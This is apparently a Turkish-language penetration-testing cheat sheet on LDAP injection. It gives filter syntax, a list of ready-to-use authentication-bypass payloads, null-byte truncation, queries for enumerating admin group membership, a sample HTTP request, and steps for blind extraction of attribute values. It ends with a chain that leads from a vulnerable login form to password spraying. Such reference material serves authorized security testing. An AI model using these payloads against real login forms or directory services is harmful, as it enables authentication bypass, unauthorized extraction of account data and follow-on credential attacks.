Skip to content

LDAP Injection

OWASP A03 difficulty: orta

LDAP Injection, uygulamanın kullanıcı girdisini bir LDAP arama filtresine temizlemeden yerleştirmesiyle oluşur. Saldırgan filtre metakarakterlerini (* ( ) & | = ) enjekte ederek kimlik doğrulamayı atlatabilir veya dizinden yetkisiz kayıt çekebilir. Active Directory / OpenLDAP ile entegre login ve arama formlarında sık görülür.

(&(uid=alice)(userPassword=secret)) # AND
(|(uid=alice)(uid=bob)) # OR
(!(uid=alice)) # NOT
(uid=*) # wildcard — tüm kayıtlar
(uid=a*) # önek

Escape edilmesi gerekenler: * ( ) \ NUL.

Uygulama filtresi: (&(uid=$user)(userPassword=$pass))

# Wildcard ile parolayı etkisizleştirme
user = *)(uid=*))(|(uid=*
pass = anything
# sonuç: (&(uid=*)(uid=*))(|(uid=*)(userPassword=anything))
# Her zaman doğru koşul
user = admin)(&)
pass = x
user = admin))%00
# null byte ile filtrenin kalanını kes (eski yığınlar)
user = *)(|(password=*)
pass = *

Login bind + search ayrıysa: injection search’te olabilir, bind’de olmayabilir — her iki yolu da test et.

*
*)(uid=*))(|(uid=*
*)(memberof=CN=Admins,*)(|(cn=*
*)(objectClass=*)(|(objectClass=*
*)(|(mail=*@corp.com)
GET /search?user=*)(uid=*))(|(uid=* HTTP/1.1
Host: hedef
  1. Var/yok oracle’ı bul — admin* vs zzz* girdilerinde farklı yanıt (login OK/FAIL, sonuç sayısı, hata mesajı, timing).

  2. Wildcard ile karakter tahmini — admin)(description=A* … charset boyunca öznitelik değerini çıkar.

  3. Öznitelikleri say — mail , cn , telephoneNumber , memberOf için )(attr=* kalıbı.

  4. İkili / önek daraltma — charset büyükse a* , ab* , abc* …

# Örnek: description özniteliği
user = x*)(description=s*
user = x*)(description=se*
# Oracle true → devam
# Bind DN'e girdi birleşiyorsa
user = alice,dc=example,dc=com)(|(uid=*
# veya
cn=admin)(|(cn=*
ldapsearch -x -H ldap://dc -D "cn=$INPUT,dc=corp,dc=local" -w pass
# $INPUT manipüle
□ Login, arama, "forgot user", adres defteri, SSO directory lookup
□ Payload: * ( ) & | = \ /
□ Hata: "Bad search filter", javax.naming, LDAPException
□ Blind: timing veya sonuç farkı
□ AD: memberOf, sAMAccountName, userPrincipalName
Terminal window
*)(uid=*))(|(uid=*
Terminal window
admin)(&)
Terminal window
admin*
Terminal window
*)(|(password=*)
Terminal window
*)(objectClass=*)(|(objectClass=*
Terminal window
admin))(|(uid=*
ldapsearch / windapsearch — dışarıdan LDAP açıksa doğrudan enum
# Uygulama katmanı injection ayrı; anon bind ayrı bulgu
Login formu LDAP hatası / * yanıt farkı
→ auth bypass payload
→ veya blind attribute enum (mail, memberOf)
→ yüksek yetkili hesap adı → password spray